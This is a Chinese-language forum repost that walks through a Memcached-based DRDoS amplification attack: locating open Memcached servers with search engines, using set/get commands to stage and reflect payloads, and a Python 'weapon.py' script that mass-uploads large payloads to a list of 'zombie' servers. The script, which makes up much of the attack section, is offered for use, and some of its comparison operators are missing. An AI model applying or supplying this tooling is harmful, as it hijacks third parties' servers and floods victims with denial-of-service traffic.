標題:基於Memcached分佈式系統DRDoS拒絕服務攻擊技術研究(轉)

taibeihacker

Moderator
本次反射式拒絕服務攻擊技術基於全球互聯網分佈式的Memcached服務器,需要儲備一定得安全攻防知識,網絡協議知識和python代碼編程技術。希望在學習本篇文章知識前自行學習相關的基礎知識,文章後面同時附有參考鏈接。

关于Memcached系统​

Memcached是一個自由開源的,高性能,分佈式內存對象緩存系統。 Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric為首開發的一款軟件。現在已成為mixi、hatena、Facebook、Vox、LiveJournal等眾多服務中提高Web應用擴展性的重要因素。 Memcached是一種基於內存的key-value存儲,用來存儲小塊的任意數據(字符串、對象)。這些數據可以是數據庫調用、API調用或者是頁面渲染的結果。 Memcached簡潔而強大。它的簡潔設計便於快速開發,減輕開發難度,解決了大數據量緩存的很多問題。它的API兼容大部分流行的開發語言。本質上,它是一個簡潔的key-value存儲系統。一般的使用目的是,通過緩存數據庫查詢結果,減少數據庫訪問次數,以提高動態Web應用的速度、提高可擴展性。

关于分布式DDoS原理​

分佈式拒絕服務(DDoS:Distributed Denial of Service)攻擊指借助於客戶/服務器技術,將多個計算機聯合起來作為攻擊平台,對一個或多個目標發動DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鐘內激活成百上千次代理程序的運行。

关于反射式DRDoS原理​

DRDoS是英文“Distributed Reflection Denial of Service ”的縮寫,中文意思是“分佈式反射拒絕服務”。與DoS、DDoS不同,該方式靠的是發送大量帶有被害者IP地址的數據包給攻擊主機,然後攻擊主機對IP地址源做出大量回應,形成拒絕服務攻擊。

攻击流程​

DDoS攻击流程​

要完成這個攻擊流程,得至少需要三個步驟。
1 攻擊者手裡必須控制大量肉雞機器,並且分佈式在互聯互通分佈在互聯上。
2 攻擊者隨時可以通過代理或者控製程序同時向所有肉雞發送大量攻擊指令。
3 所有肉雞在接受指令後,同時大量並發,同時向受害者網絡或者主機發起攻擊行為。

DRDoS攻击流程​

DRDoS要完成一次反射放大攻擊:
1 攻擊者,必須提前需要把攻擊數據存放在所有的在線肉雞或者反射服務器之上。
2 攻擊者,必須偽造IP源頭。發送海量偽造IP來源的請求。當然這裡的IP就是受害者的IP地址。
3 反射服務器,必須可以反射數據,運行良好穩定。最好是請求數據少,返回數據成萬倍增加。
如此不斷循環,就可以大規模攻擊其帶寬網絡,增加佔用率和耗損目標機的硬件資源。
利用Memcached實現的DRDos攻擊反射流程
20180206112857058

存活机器​

首先我們要找到大量反射服務器,利用搜索引擎去發掘全球可利用在線服務器。這裡我暫時用zoomeye進行蒐集,你也可以用別的搜索引擎,比如shodan等。默認開啟端口號是11211,利用知道創宇得鍾馗之眼空間引擎搜索到全球538317台機器開啟11211端口,運行著Memcached緩存服務系統。但是利用條件還有一個,就是我們還得進一步帥選確認是否開啟默認可以登錄的機器,這樣就可以被我們所利用了。有些已經設置了安全認證,那麼就無法使用了。 (全網公開跑下來五萬多台服務器,其中有效驗證可利用的有一千多台,這裡就不公佈了)
20180206150659611

通信协议​

從協議看,memcache同時監聽tcp和udp。也就是說它本身支持兩種協議同時可以發起交互和通信。這個就很關鍵了。大家可以看看tcp和udp協議區別。由於TCP是字節流,沒有包的邊界,無所謂大小,一次發送接受的數據取決於實現以及你的發送接收緩存大小。
TCP沒有限定,TCP包頭中就沒有“包長度”字段,而完全依靠IP層去處理分幀。
20180206174539086

但是UDP協議就不一樣了,他不基於連接,直接發送數據報到目標機器。
20180206174516138

注意這個Length字段,只佔有兩個字節。所以說UDP協議發送數據就有了限制,單次最大發送2^16=65535=64KB。
如果想要發送更大數據包,那麼只能使用TCP協議或者UDP多次發送來實現,這裡我已經測試過,兩種協議均可以實現。
小結:
1、TCP面向連接(如打電話要先撥號建立連接);UDP是無連接的,即發送數據之前不需要建立連接。
2、TCP提供可靠的服務。也就是說,通過TCP連接傳送的數據,無差錯,不丟失,不重複,且按序到達;UDP盡最大努力交付,即不保證可靠交付。
3、TCP面向字節流,實際上是TCP把數據看成一連串無結構的字節流;UDP是面向報文的。 UDP沒有擁塞控制,因此網絡出現擁塞不會使源主機的發送速率降低(對實時應用很有用,如IP電話,實時視頻會議等)。
4、每一條TCP連接只能是點到點的;UDP支持一對一,一對多,多對一和多對多的交互通信。
5、TCP首部開銷20字節;UDP的首部開銷小,只有8個字節。
6、TCP的邏輯通信信道是全雙工的可靠信道,UDP則是不可靠信道。
好了,明白了這個,我們就看看怎麼利用基於TCP和UDP協議通信的Memcached緩存系統。由於Memcached系統支持最大鍵值單數據對1M存儲。所以我們最大隻能存儲1M,當然你可以作多個字段,這樣也會放大。那首先按照流程圖我們向遠程服務器提前存儲有效載荷,這裡就是數據了。利用TCP協議可以一次性發1M,但是我們要是利用UDP就得循環發送多次才能完成1M數據傳輸。由於UDP具有不穩定性,數據包不保證可靠交付。這裡我建議使用TCP進行發送。

数据格式​

Memcached簡潔而強大。它的簡潔設計便於快速開發,減輕開發難度,解決了大數據量緩存的很多問題。它的API兼容大部分流行的開發語言。本質上,它是一個簡潔的key-value存儲系統。
一般的使用目的是,通過緩存數據庫查詢結果,減少數據庫訪問次數,以提高動態Web應用的速度、提高可擴展性。
20180206154844462

支持有如下所有命令和操作。
Memcached 存儲命令
Memcached set 命令
Memcached add 命令
Memcached replace 命令
Memcached append 命令
Memcached prepend 命令
Memcached CAS 命令
Memcached 查找命令
Memcached get 命令
Memcached gets 命令
Memcached delete 命令
Memcached incr/decr 命令
Memcached 統計命令
Memcached stats 命令
Memcached stats items 命令
Memcached stats slabs 命令
Memcached stats sizes 命令
Memcached flush_all 命令
這裡我們重點介紹三種命令,因為我們的攻擊流程中將會涉及了這三種方式。
第一個是上傳有效載荷Memcached set 命令
Memcached set 命令用於將value(數據值)存儲在指定的key(鍵)中。
如果set的key已經存在,該命令可以更新該key所對應的原來的數據,也就是實現更新的作用。
set 命令的基本語法格式如下:
set key flags exptime bytes [noreply]
value
參數說明如下:
key:鍵值key-value 結構中的key,用於查找緩存值。
flags:可以包括鍵值對的整型參數,客戶機使用它存儲關於鍵值對的額外信息。
exptime:在緩存中保存鍵值對的時間長度(以秒為單位,0 表示永遠)
bytes:在緩存中存儲的字節數
noreply(可選): 該參數告知服務器不需要返回數據
value:存儲的值(始終位於第二行)(可直接理解為key-value結構中的value)
20180206160130125

第二個反射有效載荷Memcached get 命令
Memcached get 命令獲取存儲在key(鍵)中的value(數據值),如果key 不存在,則返回空。
get 命令的基本語法格式如下:
get key
多個key 使用空格隔開,如下:
get key1 key2 key3
參數說明如下:
key:鍵值key-value 結構中的key,用於查找緩存值。
20180206160343498

第三個是退出遠程服務器。 quit\r\n命令即可,沒有任何參數,注意要有回車換行。
20180206162500190

攻击步骤​

自动化上传有效载荷​

到了這裡,我們接下來就是如何利用這個過程實現DRDoS反射拒絕服務攻擊。
思路是這樣的:我們先批量上傳指定數據到遠程開放服務器Memcached上面,然後我們再去Memcached服務器請求查詢數據上一步存儲的數據,(這一步很關鍵,我們只能利用UDP協議進行反射,後面說明一下為什麼。)這樣就可以將數據通過Memcached服務器反射到目標受害機器上了。這裡我們可以自己手動編寫程序實現批量自動化上傳有效載荷到遠程服務器,等待上傳完了我們就可以進行UDP反射攻擊了。
這裡我用python腳本完成payload數據上傳。
# -*- coding: UTF-8 -*-
'''
Created on 2018.02.06
@author: 5t4rk
'''
#!/usr/bin/python
import random
import sys
import socket
socket_timeout=10.0
bullets_size=10 * 1000
def reload_zombies_list(zombies_server_path):
try:
global zombies_list
if (len(zombies_server_path) 1):
return ''
with open(zombies_server_path) as f:
zombies_list=f.readlines()
return zombies_list
except Exception, e:
print e.message
def random_int_char(i):
try:
temp=random.randint(0, 2)
if temp==0:
return '%c' % (random.randint(0, 9) +0x30)
elif temp==1:
return '%c' % (random.randint(0, 25) +0x41)
else :
return '%c' % (random.randint(0, 25) +0x61)
except Exception, e:
print e.message
def prepare_random_data(size_bytes, times):
try:
print '[random data : %8d times ]' % (times + 1)
remote_data=''
for i in range(0, size_bytes):
remote_data=remote_data + (random_int_char(i))
return remote_data.upper()
except Exception, e:
print e.message
def tcp_weapon_function(mem_address, mem_port, data, reload_counts):
if (not mem_address):
return False
if (len(data) 1):
return False
else:
try:
mem_address=mem_address.strip('\n')
mem_address=mem_address.strip('\r\n')
mem_address=mem_address.strip()
server_address=(mem_address, mem_port)
# send
sclient=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sclient.settimeout(socket_timeout)
sclient.connect(server_address)
print '[current num : %8d zombie]' % reload_counts
print '[sending size: %8d bytes ]\t' % len(data), '[address :\t %14s ]' % mem_address
reload_counts=reload_counts + 1
# send
count=sclient.send(data)
if count 1:
result=sclient.recv(1024)
if not result:
print '[No response]'
return False
result=result.rstrip('\n')
result=result.rstrip('\r\n')
print '[sended size: %8d bytes ]\t' % count, '[received:\t %14s ]' % result
# quit
count=sclient.send('quit\r\n')
if count 1:
print '[sended size: %8d bytes ]\t' % count, '[received:\t QUIT SUCCESSED ]'
sclient.close()
except Exception, e:
print '[error :', e.message, ']'
sclient.close()
return True
if __name__=='__main__':
zombies_list=[]
current_index=0
command=0
if len(sys.argv)==5:
path=sys.argv[1]
command=int(sys.argv[2])
bullets_size=int(sys.argv[3])
socket_timeout=float(sys.argv[4])
reload_zombies_list(path)
elif len(sys.argv)==3:
path=sys.argv[1]
command=int(sys.argv[2])
reload_zombies_list(path)
else:
print 'Example:\t'
print '\tweapon.py server.txt 1 byte_size timeout'
print '\tweapon.py server.txt 2'
print '\tcommand 1 ddos memcache set'
print '\tcommand 2 ddos memcache delete'
print '\tcommand 3 ddos payload size'
print '\tcommand 4 ddos time out (seconds)'
exit()
while current_index len(zombies_list):
try:
if command==1:
random_value=prepare_random_data(bullets_size, current_index)
action_data='set anVzdGF0ZXN0 0 0 %d\r\n' % len(random_value) + random_value + '\r\n'
tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index)
elif command==2:
action_data='delete anVzdGF0ZXN0\r\n'
tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index)
else:
print 'error command'
action_data=''
except KeyboardInterrupt, e:
print '[error : script stopped [ctrl + c].]'
 
返回
上方